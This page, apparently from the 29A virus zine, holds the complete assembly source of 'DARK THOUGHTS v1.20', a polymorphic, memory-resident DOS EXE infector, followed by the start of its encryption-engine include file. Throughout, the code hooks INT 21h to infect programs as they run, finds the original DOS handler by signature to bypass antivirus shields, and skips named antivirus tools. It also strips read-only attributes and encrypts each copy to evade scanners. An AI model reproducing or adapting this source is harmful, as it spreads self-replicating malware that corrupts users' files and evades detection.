Copy Link
Add to Bookmark
Report
29A Issue 03 05 06
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[dt12.asm]ÄÄ
;Virus Name: DARK THOUGHTS v1.20
;Origin : Europe/Greece
;Author : ANAKTAS
;
;GENERAL INFO:
; -Size: Increase files by 6144 bytes.
; -TSR EXE infector
; -Polymorphic by using ENTHELECHIA v1.0 (Source in enthel.SPL)
; -UMB Resident
; -Seeks Original Int 21h by using signatures
; instead of tunneling.
;
; This virus is actually vanitas II with some changes.
; I wrote it to demostrate my poly engine ENTHELECHIA V1.0.
;_______________________________________________________
APPLYSIZE equ 6144
BUFFERSIZE equ 16384
ALOCSIZE equ 22528+1024
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE
org 0000h
VIRUS_V:
;-------------------------place-decryptor-Here------------------------
;Decryptor Will destroy DS or ES(makes it ecual to CS)
;_________________________________________________________________
startofvirusbody:
;get delta offset in BP
mov bp,0
;save PSP
mov ax,ds
mov bx,cs
cmp ax,bx
Jnz SavePSP
mov ax,es
savePSP:mov ds,ax
mov es,ax
mov cs:[BP+datasegm],ax
; am i in memory ?
mov ax,3700h
mov bx,0FACEh
int 21h
cmp ax,0FACEh
jnz not_in_mem
jmp giveCPU
not_in_mem:
;scans for original INT21h.
call scan21
;check if we are in protected mode (Windows,Win95,OS/2)
;if yes, don't try to stay in memory but infect some files...
mov ax,1687h
int 2Fh
or ax,ax
jnz no_DPMI
;allocate memory for buffer
mov bx,ALOCSIZE/16
call alloc_mem
mov ax,ds
mov cs:[BP+buffer],ds
;infect Command.com
call infect_command
;release buffer
mov ax,cs:[BP+buffer]
mov es,ax
mov ah,49h
int 21h
jmp giveCPU
no_DPMI:
;allocate memory for buffer and for code
mov bx,ALOCSIZE/16
call alloc_UMB
jc stay_in_conv
mov cs:[BP+buffer],ds
;infect Command.com
call infect_command
mov bx,ALOCSIZE/16
call alloc_UMB
jc stay_in_conv
jmp Yes_UMB
;No UMB - use_oldtrick
;----------------------------------------
stay_in_conv:
;Move code next to PSP.
;only a small part to avoid overwritting
push cs
pop ds
mov ax,cs:[BP+datasegm]
add ax,10h
mov es,ax
mov di,0
mov si,bp
mov cx,offset firstpart
cld
rep movsb
; Pass the mic to the TSR copy of virus
mov ax,es
push ax
mov ax,offset Warp
push ax
retf
Warp:
xor BP,BP ;Delta offset is zero now.
;now copy the rest!
mov cx,APPLYSIZE
sub cx,offset firstpart
cld
rep movsb
jmp firstpart ;clean-up prefetch queue
firstpart:
;resize host
mov ax,cs:[datasegm]
mov es,ax
mov bx,ALOCSIZE/16
mov ah,4ah
int 21h
;new buffer
mov ax,cs:[datasegm] ;PSP
add ax,10h ;+PSP=viruscode
add ax,APPLYSIZE/16 ;+virussize= end of viruscode
mov cs:[buffer],ax ;buffer
;infect Command.com
call infect_command
;Redirect Interrupt 21h to new21
mov ax,2521h
push cs
pop ds
mov dx,offset new21
int 21h
; Create parametre block
push cs
pop es
mov bx,offset envir
mov ax,ds:[datasegm]
mov ds:[line+2],ax
mov ds:[FCB1+2],ax
mov ds:[FCB2+2],ax
mov ax,80h
mov ds:[line],ax
mov ax,5Ch
mov ds:[FCB1],ax
mov ax,6Ch
mov ds:[FCB2],ax
mov ds,ds:[datasegm]
mov ax,ds:[2ch] ;
mov cs:[envir],ax ; ds=enviroment
mov ds,ax ;ds=enviroment
; Locate filename.
mov di,0ffffh
xixi:
inc di
mov ax,ds:[di]
cmp ax,0000
jnz xixi
add di,4
mov dx,di
; Move stack to the end of allocated memory.
cli
mov ax,cs
mov ss,ax
mov sp,APPLYSIZE
sti
; Execution of the host (EXEC)
mov ax,4b00h
call dos21
cli
mov ax,cs ; Recall stack area. Exec might destroy SS and SP.
mov ss,ax
mov sp,APPLYSIZE
sti
; Get exit-code of the host
MOV AH,4Dh
INT 21h ; By returning the same return-code.
;Return to dos by returning the same exit-code(errorlevel).
mov ah,31h
mov dx,ALOCSIZE/16 ;keep bytes in memory
int 21h
;--------------------------------------
Yes_UMB:
;copy virus code to the reserved memory
push ds
pop es
push cs
pop ds
mov di,0
mov si,BP
mov cx,APPLYSIZE
rep movsb
;Redirect Interrupt 21h to new21
mov ax,2521h
push es
pop ds
lea dx,[BP+new21]
int 21h ; now!
giveCPU:
;calculate original entry-point and PUSH it...
mov ax,cs
sub ax,cs:[BP+entry+2]
push ax
mov ax,cs:[BP+entry]
push ax
;GET DS/ES
mov ax,cs:[BP+datasegm]
mov ds,ax
mov es,ax
; AX=BX=CX=DX=SI=DI=BP=0000
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor di,di
xor si,si
xor bp,bp
retf ;jmp to the original entry-point
;---------------------------------------------------------------
;________________________________________________________________
;The new Interrupt 21h handler!
;----------------------------------------------------------------
new21:
pushf
cli
;verifies that virus has already hook int21h
cmp ax,3700h ; asking for command line switch chracter...
jnz not_verify
cmp bx,0FACEh ; or for me?
jnz not_verify
call dword ptr cs:[adr21]
mov ax,bx ; Yes, i am here!
iret
not_verify:
push ax ; push them...
xor Ah,4bh ;Execute file?
jz filefuc
xor Ah,4bh
; xor ah,3Dh ; open file?
; jz filefuc
; xor ah,3Dh
; xor ah,56h ; rename file?
; jz filefuc
; xor ah,56h
; xor ah,43h ; get file atribs?
; jz filefuc
; xor ah,43h
; mov dx,si
; xor ah,6Ch ; Extented open?
; jz filefuc
; xor ah,6Ch
jmp notfilefuc
filefuc:
pop ax
mov cs:[BP+filename+2],dx
call dword ptr cs:[adr21]
mov dx,cs:[BP+filename+2]
push bp
xor bp,bp
call infect ; you have to wait a little!
pop bp
iret
notfilefuc:
pop ax
popf
jmp dword ptr cs:[adr21]
;-------------------------------------------------------------
;-------------------------------------------------------------
;calls the original INT21h bellow drivers,TSR utils, ;AV shields,etc.
;-------------------------------------------------------------
dos21:
pushf
call dword ptr cs:[BP+orig_adr21]
ret
;--------------------------------------------------------------
;--------------------------------------------------------------
;infects files. Assumes that the file name is at DS:DX
;--------------------------------------------------------------
infect:
;push them all.
push ax
push bx
push cx
push si
push es
push dx
push ds
push bp
;backups the entry point.
mov ax,cs:[BP+entry]
mov cs:[BP+entrybackup],ax
mov ax,cs:[BP+entry+2]
mov cs:[BP+entrybackup+2],ax
; saves the filename
;don't know why i did that!
mov cs:[BP+filename+2],dx
mov cs:[BP+filename],ds
;if filename == *AN.* or *OT.* or *EX.* or *86.* or *ND.* don't infect it.
;target files are tbscan.exe,tbclean.exe,scan.exe,f-prot.exe and mscdex.exe
;Also if file isn't *.EXE or *.COM don't infect it either...
mov bx,dx
findend:
inc bx
cmp byte ptr ds:[bx],0
jnz findend
sub bx,6
cmp ds:[bx],0444Eh
jz cant_open
cmp ds:[bx],03638h
jz cant_open
cmp ds:[bx],04E41h
jz cant_open
cmp ds:[bx],0544Fh
jz cant_open
cmp ds:[bx],05845h
jz cant_open
cmp ds:[bx+3],05845h
jz ComExe
cmp ds:[bx+3],04F43h
jnz cant_open
ComExe:
;check for free clusters
push dx
mov ah,36h
mov bx,dx
mov dl,ds:[bx]
and dl,0fh
call dos21
pop dx
test bx,bx
jnz enough_space
jmp cant_open
enough_space:
;get file's atributes
mov ax,4300h
call dos21
jc cant_open
mov cs:[BP+atrib],cl ; and save them
;is it a sybdir or volume name ?
;I whouldn't like that.
test cx,00011000b
jnz cant_open
;read only file? Not any more.
and cx,11111110b
mov ax,4301h
call dos21
jc cant_open ; Why can't i write on disk? Maybe
; write-protected disk or CD-ROM. Game Over.
;open file by using the priv 21 handler to prevent
;endless recersive (and overflow of stack)
mov ax,3d92h
call dos21
jc cant_open
mov cs:[BP+handler],ax ; save the handle to [handler]
;_____________________
jmp bridge1 ;|
cant_open: ;|
jmp cant_open2;|
bridge1: ;|
;_____________________|
;from now on, (data segment) = (code segment)
;no need for CS: override
push cs
pop ds
;get date-time of file and save it
mov ax,5700h
mov bx,cs:[BP+handler]
call dos21
mov cs:[BP+time],cx ; save date-time
mov cs:[BP+date],dx
;get buffer
;mov ds,cs:[BP+buffer]
;reads header (first 84h bytes of file)
mov ah,3fh
mov bx,cs:[BP+handler]
mov cx,84h
;mov ds,cs:[BP+buffer]
mov dx,offset header
call dos21
;is that file an EXE ?
mov ax,5a4dh
cmp ax,ds:[bp+header] ;lets check for "MZ" at offset 0000 0000h
jnz close_file ;if not close it and wait for the next file
;is it infected?
mov ax,0faceh
cmp ax,ds:[bp+header+12h]
jz close_file
;Is it a PE (win95 & NT) , NE(win) or .DLL file?
mov si,ds:[bp+header+3ch]
mov ax,ds:[bp+header+si]
sub al,'N'
and al,1101b
cmp ax,0050h
jz close_file ;if yes then don't infect it
;______________________
jmp bridge2 ;|
close_file: ;|
jmp close_file2;|
bridge2: ;|
;______________________|
;For testing only. Ask before infect a file.
; call ask_me
; jnz close_file
;go to the end of file
mov ax,4202h
xor cx,cx
xor dx,dx
call dos21
;save the size of the file
mov cs:[BP+size1],ax
mov cs:[BP+size1+2],dx
; if file.size>448Kbyte don't infect it.
cmp dx,0007h
jc not2big
jmp close_file
not2big:
;tells to the header that filesize+=APPLYSIZE/512
mov word ptr ds:[bp+header+2],ax ;file_length MOD 512
and word ptr ds:[bp+header+2],511
mov cl,9 ; header[bp+header+4] = file_length(DX:AX) DIV 512
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
add ax,(APPLYSIZE/512)+1
mov word ptr ds:[bp+header+4],ax
;add APPLYSIZE bytes. The increase of file size must be known
;seems usefull for future use (stealthing)
mov ah,40h ; write...
mov cx,APPLYSIZE ;
call dos21 ; bytes.
;the virus code must start from a paragraph (*16 bytes)
add cs:[BP+size1],10h
and cs:[BP+size1],0FFF0h
mov dx,ds:[bp+header+8h]
mov cs:[BP+headersize],dx
;copy original entry point to [entry]
mov ax,ds:[bp+header+14h]
mov cs:[BP+entry],ax
mov ax,ds:[bp+header+16h]
mov cs:[BP+entry+2],ax
;loads the size of the file. The place here virus body will be placed
mov ax,cs:[BP+size1]
mov dx,cs:[BP+size1+2]
;writes the new entry point which points to the virus body
mov cl,4 ; AX= (DWord DX:AX) / 16
shr ax,cl
mov cl,12
shl dx,cl
add ax,dx
sub ax,ds:[bp+header+8]
mov ds:[bp+header+16h],ax
sub ax,cs:[BP+entry+2]
mov cs:[BP+entry+2],ax
mov ax,100h
mov ds:[bp+header+14h],ax
;set the fucking stack
;if its inside the program leave it, else place it inside the virus code
mov ax,[offset header+10h+bp] ;get SP
sub ax,2
mov cl,4
shr ax,cl
add ax,[offset header+0Eh+bp] ;ax holds the address of stack's head in paragraphs
sub ax,2
mov bx,[offset size1+2+bp]
mov dx,[offset size1+bp]
mov cl,12
shl bx,cl
mov cl,4
shr dx,cl
add bx,dx
cmp ax,bx
jc dontchangestack
mov ax,APPLYSIZE
mov word ptr ds:[offset header+10h+bp],ax ;SP
mov ax,ds:[offset header+16h+bp] ;SS
mov word ptr ds:[offset header+0Eh+bp],ax ;SS
dontchangestack:
;put my mark in the place of header Checksum
mov ax,0faceh
mov ds:[offset header+12h+bp],ax
;writes header from memory to file
mov ax,4200h ;go to the beggining
mov bx,cs:[offset handler+bp]
xor cx,cx
xor dx,dx
call dos21
mov ah,40h ;write 84h
mov bx,cs:[offset handler+bp]
mov cx,84h
mov dx,[offset header+bp]
call dos21 ;go at the end
mov ax,4200h
mov cx,word ptr cs:[BP+size1+2]
mov dx,word ptr cs:[BP+size1]
call dos21
;------POLY-------
mov ax,cs:[BP+buffer] ;build the two buffers in ES:0 and DS:0
mov ds,ax
add ax,(BUFFERSIZE/16)/2
mov es,ax
call splrand ;randomize SPL variables
;set some spl variables
push bx
mov bx,1
mov word ptr es:[EXi_IsCOM],bx ; set EXE type decryptors
mov bx,offset startofvirusbody
mov word ptr es:[EXi_VirusBodyStart],bx ; set the virusbody offset
mov bx, (offset endofvirusbody) - (offset startofvirusbody)
mov es:[EXi_VirusBodyLength],bx ; set the virus lenght
pop bx
;move the stack in a big,safe place
cli
mov ax,ss
mov cs:[oldSS],ax
mov cs:[oldSP],sp
push cs
pop ss
mov sp,APPLYSIZE
sti
;call the engine
push dx
push si
push bp
mov dx,cs
mov si,offset spldata
call splvm ;build decryptor/encryptor
pop bp
pop si
pop dx
;move the stack back in place
cli
mov ax,cs:[oldSS]
mov sp,cs:[oldSP]
mov ss,ax
sti
;patch the "mov bp,offset" instruction in the beggining of virus
push bx
mov bx,es:[EXo_EncryptedVirusBodyOffset]
mov cs:[bp+1],bx
pop bx
;call the encryptor
push ds
push es
lea ax,[BP+offset returnencrypt];push the return address
push cs
push ax
mov ax,0 ;push the address of the encryptor
push ds
push ax
push cs ; set the source/destination segments
push ds
pop es
pop ds
db 0CBh ;return(?) to the encryptor
returnencrypt:
pop es
pop ds
;------POLY END-------
mov bx,100h
mov bx,es:[EXo_DecryptorStart]
mov cs:[bp+header+14h],bx
mov ax,4000h ; writes the encrypted virus to file
mov bx,cs:[BP+handler]
mov cx,APPLYSIZE ;
mov dx,0h ;
call dos21 ;
;writes header from memory to file
mov ax,4200h ;go to the beggining
mov bx,cs:[BP+handler]
xor cx,cx
xor dx,dx
call dos21
mov ah,40h ;write 84h
mov bx,cs:[BP+handler]
mov cx,84h
lea dx,[bp+offset header]
push cs
pop ds
call dos21 ;go at the end
mov ax,4200h
mov cx,word ptr cs:[BP+size1+2]
mov dx,word ptr cs:[BP+size1]
call dos21
close_file2:
mov ah,3eh
mov bx,cs:[BP+handler]
call dos21
cant_open2:
;restore Host's entry-point of the current copy of virus.
mov ax,cs:[BP+entrybackup]
mov cs:[BP+entry],ax
mov ax,cs:[BP+entrybackup+2]
mov cs:[BP+entry+2],ax
pop bp ;
pop ds ;
pop dx ;
pop es ;
pop si ;
pop cx ;
pop bx ;
pop ax ;
ret
;_____________________________________________________________
;______________________________________________________________
;Old but good!!!
;________________________________
;replaces int21h with new24 handler
hook24:
push ds
push dx
push cs
pop ds
lea dx,[BP+new24]
mov ax,2524h
int 21h
pop dx
pop ds
ret
;returns vector of int24 to its owner
unhook24:
push ds
mov ax,cs:[BP+old24+2]
mov ds,ax
mov dx,cs:[BP+old24]
mov ax,2524h
int 21h
pop ds
ret
;Special Interrupt 24h error handler which allways returns
; "(I)gnore" without asking the user.
new24:
xor al,al ;
iret ;
;DATA. Address of original Interrupt 24h handler
old24 dw 0,0
;_______________________________________________________________
;_______________________________________________________________
;Infect well known files
;
;_______________________________________________________________
infect_command:
ret ;Sorry but win98 fucks everything.
push ds
push cs
pop ds
lea dx,[BP+offset target2]
call infect
lea dx,[BP+offset target1]
call infect
pop ds
ret ;return();
;data
target1: db "C:\COMMAND.COM",0
target2: db "C:\WINDOWS\COMMAND.COM",0
;______________________________________________________________
;_______________________________________________________________
;Scan memory for original Int 21h handlers.
;It doesn't use tunneling because i dont want to waste Kbytes for
;a good one. I use Signatures instead. YES, SIGNATURES!!!
;This trick seems to work till microsoft release its first polymorphic
;Interrupt handler!
;
;Scan Engine V1.0b
;This Version of Scan21 can detect the location of the folowing Int21s:
;Microsoft.Dos.Int21h.V5.00
;Microsoft.Dos.Int21h.V6.20
;Microsoft.Dos.Int21h.Win95
;
;Microsoft.Int21h.Win95 reported to be "on the wild"!
;_______________________________________________________________
scan21:
push ds
mov ax,3521h ; get int21 address by using vector table
int 21h ; do it!
mov cs:[BP+adr21],bx ; and save it to [adr21]
mov cs:[BP+adr21+2],es ;
mov cs:[BP+orig_adr21],bx ; ...and to [orig_adr21] in case we can't
mov cs:[BP+orig_adr21+2],es ; find original int21h
;try to find the original int 21h of DOS v5.00,v6.20 and WIN95
Dos5: mov ax,0 ;dos 5.00
mov bx,40EBh
Dos5lp:inc ax
mov ds,ax
cmp ax,0FFFFh
jz Dos62
cmp ds:[bx],80FAh
jnz Dos5lp
cmp ds:[bx+2],6CFCh
jnz Dos5lp
cmp ds:[bx+4],0D277h
jnz Dos5lp
jmp found_21
Dos62: mov ax,0 ;dos 6.20
mov bx,40F8h
Dos62lp:inc ax
mov ds,ax
cmp ax,0FFFFh
jz Win95
cmp ds:[bx],80FAh
jnz Dos62lp
cmp ds:[bx+2],6CFCh
jnz Dos62lp
cmp ds:[bx+4],0D277h
jnz Dos62lp
cmp ds:[bx+6],0FC80h
jnz Dos62lp
jmp found_21
Win95: mov ax,0 ;Win95
mov bx,04A0h
Win95lp: inc ax
mov ds,ax
cmp ax,0FFFFh
jz NoFound
cmp word ptr ds:[bx+5],0F62Eh
jnz Win95lp
cmp word ptr ds:[bx+7],3506h
jnz Win95lp
cmp word ptr ds:[bx+9],0200h
jnz Win95lp
cmp word ptr ds:[bx+0Bh],02074h
jnz Win95lp
;jmp found_21 ;no need to do that.
found_21:
mov cs:[bp+orig_adr21],bx
mov cs:[bp+orig_adr21+2],ds
NoFound:pop ds
ret
;------------------------------------------------------------------
;________________________________________________________________
;Resize host and allocate memory
;input: bx=paragraphs of neaded memory
;output: ds=segment of memory
; carry set=no memmory
;________________________________________________________________
alloc_mem:
push ax
push bx
push cx
push dx
push es
push bx
;resize host's memory
mov ax,cs:[BP+datasegm]
mov es,ax
dec ax
mov ds,ax
inc bx
sub word ptr ds:[12h],bx
mov dx,ds:[3]
sub dx,bx
mov bx,dx
mov ah,4Ah
int 21h
mov ah,48h
pop bx
int 21h
pushf
jc alloc_end
mov ds,ax
alloc_end:
popf
pop es
pop dx
pop cx
pop bx
pop ax
ret
;_______________________________________________________________
;________________________________________________________________
;allocate UMB
; input: bx=paragraphs of needed memory
;output: carry=0 / ds=segment of memory
; carry set=no memory
;________________________________________________________________
alloc_UMB:
push ax
push bx
push cx
push dx
push es
push bx
;inclusion of UMB
mov ax,05803h
mov bx,1
int 21h
;search from the end of memory
mov ax,5801h
mov bx,81h
int 21h
;allocate BX paragraphs
mov ah,48h
pop bx
int 21h
pushf ;save the Carry flag
push ax;save the segment adress of memory block
;no more UMB
mov ax,05803h
xor bx,bx
int 21h
;search from the start of memory
mov ax,5801h
xor bx,bx
int 21h
pop ax
popf
jc End_AllocUMB ;no memory?
cmp ax,0A000h
jc End_AllocUMB ;that's not in Upper Memory!
mov ds,ax ; pass segment adress to DS
End_AllocUMB:
pop es
pop dx
pop cx
pop bx
pop ax
ret
;_______________________________________________________________
;________________________________________________________________
;Poly-engine
include enthelec.inc
include splVM.inc
include splrand.inc
;________________________________________________________________
;__________________________________________________________________
;data , data , data...
;parametre block for EXEC (4Bh/Int21h)
envir dw ? ;segment of the enviroment
line dw 80h ; command line offset
dw ? ; >> >> segment
FCB1 dw 5Ch ; 1st FCB offset
dw ? ; >> >> segment
FCB2 dw 6Ch ; 2nd FCB offset
dw ? ; >> >> segment
;general infos about the file to be infected
filename dw 0,0
atrib db 0
date dw 0
time dw 0
size1 dw 0,0
headersize dw 0
;keep here the entry-point of the host program
entry dw 0000,0016 ; first time return to PSP:0 (INT 20h)
entrybackup dw 0000,0000 ;back up here the [entry] data
;segment of the buffer.
buffer dw 0
;where PSP is.
datasegm dw 0
;SS:SP before calling the POLY
oldSS dw 0
oldSP dw 0
;file handler
handler dw 0
;header structure
header dw 0
filesizeMOD dw 0
filesizeDIV dw 0
dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
stackSS dw 0
stackSP dw 0
checksum dw 0
initIP dw 0
codeCS dw 0
relocadr dw 0
reloctable db 80h dup (0)
;vectors of interrupt21
orig_adr21 dw 0,0
adr21 dw 0,0
adr13 dw 0,0
;Virus Message
db "Dark Thoughts Ve"
db "r1.20 - EuR(c)98"
db " by ANAkTAS. "
db "Using ENTHELECHIA v1.0 "
db "Poly-Engine made with SPL."
;0123456789ABCDEF
endofvirusbody:
CODE ENDS
END VIRUS_V
;________________________________________________________________
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[dt12.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[enthelec.inc]ÄÄ
; SPL for Windows V2.2
; (c)1998 by ANAkTAS
;
; Description :
; This file contain the data table.
;
; ------------------------------------------------------------